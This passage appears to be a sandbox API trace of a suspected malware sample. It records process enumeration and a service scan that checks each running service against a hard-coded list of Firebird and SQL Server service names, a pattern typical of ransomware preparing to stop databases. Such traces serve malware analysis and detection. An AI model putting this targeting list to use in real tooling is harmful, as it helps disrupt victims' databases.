	[0077.875] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chicken_document_adjusted.exe")) returned 1
	[0077.876] lstrlenW (lpString="chicken_document_adjusted.exe") returned 29
	[0077.876] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="burning.exe")) returned 1
	[0077.877] lstrlenW (lpString="burning.exe") returned 11
	[0077.877] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="warned-garage.exe")) returned 1
	[0077.877] lstrlenW (lpString="warned-garage.exe") returned 17
	[0077.877] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customize_ann_acute.exe")) returned 1
	[0077.878] lstrlenW (lpString="customize_ann_acute.exe") returned 23
	[0077.878] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="documentsstrikes.exe")) returned 1
	[0077.879] lstrlenW (lpString="documentsstrikes.exe") returned 20
	[0077.879] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scratch-ball.exe")) returned 1
	[0077.879] lstrlenW (lpString="scratch-ball.exe") returned 16
	[0077.879] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="proprietary.exe")) returned 1
	[0077.880] lstrlenW (lpString="proprietary.exe") returned 15
	[0077.880] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0077.881] lstrlenW (lpString="conhost.exe") returned 11
	[0077.881] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0077.881] lstrlenW (lpString="conhost.exe") returned 11
	[0077.881] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0077.882] lstrlenW (lpString="payload2.exe") returned 12
	[0077.882] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0077.883] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0077.883] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0077.883] lstrlenW (lpString="conhost.exe") returned 11
	[0077.883] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0077.884] lstrlenW (lpString="svchost.exe") returned 11
	[0077.884] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x468, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0077.884] lstrlenW (lpString="cmd.exe") returned 7
	[0077.885] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0077.885] lstrlenW (lpString="conhost.exe") returned 11
	[0077.885] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0077.886] lstrlenW (lpString="mode.com") returned 8
	[0077.886] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0
	[0077.887] CloseHandle (hObject=0x38c) returned 1
	[0077.887] Sleep (dwMilliseconds=0x1f4) 
	[0078.435] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52d7a0
	[0078.436] EnumServicesStatusExW (in: hSCManager=0x52d7a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0
	[0078.436] GetLastError () returned 0xea
	[0078.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1d60) returned 0x4317788
	[0078.437] EnumServicesStatusExW (in: hSCManager=0x52d7a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4317788, cbBufSize=0x1d60, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4317788, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1
	[0078.437] CloseServiceHandle (hSCObject=0x52d7a0) returned 1
	[0078.438] lstrlenW (lpString="Appinfo") returned 7
	[0078.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0078.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0078.438] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0078.438] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0078.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0078.438] lstrlenW (lpString="AppXSvc") returned 7
	[0078.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0078.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0078.438] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0078.438] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0078.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0078.438] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0078.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0078.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0078.438] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0078.438] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0078.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0078.438] lstrlenW (lpString="Audiosrv") returned 8
	[0078.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0078.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0078.438] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0078.438] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0078.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0078.438] lstrlenW (lpString="BFE") returned 3
	[0078.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0078.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0078.438] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0078.439] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0078.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0078.439] lstrlenW (lpString="BITS") returned 4
	[0078.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0078.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0078.439] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0078.439] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0078.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0078.439] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0078.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0078.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0078.439] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0078.439] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0078.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0078.439] lstrlenW (lpString="CDPSvc") returned 6
	[0078.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0078.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0078.439] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0078.439] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0078.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0078.439] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0078.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0078.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0078.439] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0078.439] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0078.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0078.439] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0078.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0078.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0078.439] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0078.440] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0078.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0078.440] lstrlenW (lpString="CryptSvc") returned 8
	[0078.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0078.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0078.440] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0078.440] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0078.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0078.440] lstrlenW (lpString="DcomLaunch") returned 10
	[0078.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0078.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0078.440] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0078.440] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0078.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0078.440] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0078.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0078.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0078.440] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0078.440] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0078.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0078.440] lstrlenW (lpString="Dhcp") returned 4
	[0078.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0078.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0078.440] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0078.440] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0078.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0078.440] lstrlenW (lpString="Dnscache") returned 8
	[0078.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0078.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0078.440] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0078.440] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0078.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0078.441] lstrlenW (lpString="DoSvc") returned 5
	[0078.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0078.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0078.441] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0078.441] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0078.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0078.441] lstrlenW (lpString="DPS") returned 3
	[0078.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0078.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0078.441] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0078.441] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0078.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0078.441] lstrlenW (lpString="DusmSvc") returned 7
	[0078.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0078.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0078.441] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0078.441] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0078.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0078.441] lstrlenW (lpString="EventLog") returned 8
	[0078.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0078.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0078.441] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0078.441] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0078.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0078.441] lstrlenW (lpString="EventSystem") returned 11
	[0078.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0078.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0078.441] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0078.441] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0078.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0078.442] lstrlenW (lpString="FontCache") returned 9
	[0078.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0078.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0078.442] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0078.442] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0078.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0078.442] lstrlenW (lpString="gpsvc") returned 5
	[0078.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0078.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0078.442] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0078.442] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0078.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0078.442] lstrlenW (lpString="iphlpsvc") returned 8
	[0078.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0078.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0078.442] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0078.442] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0078.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0078.442] lstrlenW (lpString="KeyIso") returned 6
	[0078.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0078.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0078.442] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0078.442] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0078.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0078.442] lstrlenW (lpString="LanmanServer") returned 12
	[0078.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0078.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0078.442] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0078.442] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0078.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0078.443] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0078.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0078.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0078.443] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0078.443] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0078.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0078.443] lstrlenW (lpString="lfsvc") returned 5
	[0078.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0078.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0078.443] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0078.443] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0078.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0078.443] lstrlenW (lpString="lmhosts") returned 7
	[0078.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0078.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0078.443] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0078.443] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0078.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0078.443] lstrlenW (lpString="LSM") returned 3
	[0078.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0078.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0078.443] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0078.443] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0078.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0078.443] lstrlenW (lpString="MapsBroker") returned 10
	[0078.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0078.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0078.443] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0078.443] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0078.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0078.444] lstrlenW (lpString="MpsSvc") returned 6
	[0078.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0078.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0078.444] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0078.444] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0078.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0078.444] lstrlenW (lpString="NcbService") returned 10
	[0078.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0078.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0078.444] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0078.444] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0078.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0078.444] lstrlenW (lpString="netprofm") returned 8
	[0078.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0078.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0078.444] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0078.444] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0078.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0078.444] lstrlenW (lpString="NgcSvc") returned 6
	[0078.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0078.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0078.444] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0078.444] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0078.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0078.444] lstrlenW (lpString="NlaSvc") returned 6
	[0078.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0078.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0078.444] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0078.444] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0078.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0078.445] lstrlenW (lpString="nsi") returned 3
	[0078.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0078.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0078.445] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0078.445] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0078.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0078.445] lstrlenW (lpString="PcaSvc") returned 6
	[0078.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0078.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0078.445] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0078.445] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0078.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0078.445] lstrlenW (lpString="PlugPlay") returned 8
	[0078.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0078.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0078.445] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0078.445] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0078.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0078.445] lstrlenW (lpString="Power") returned 5
	[0078.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0078.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0078.445] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0078.445] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0078.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0078.445] lstrlenW (lpString="ProfSvc") returned 7
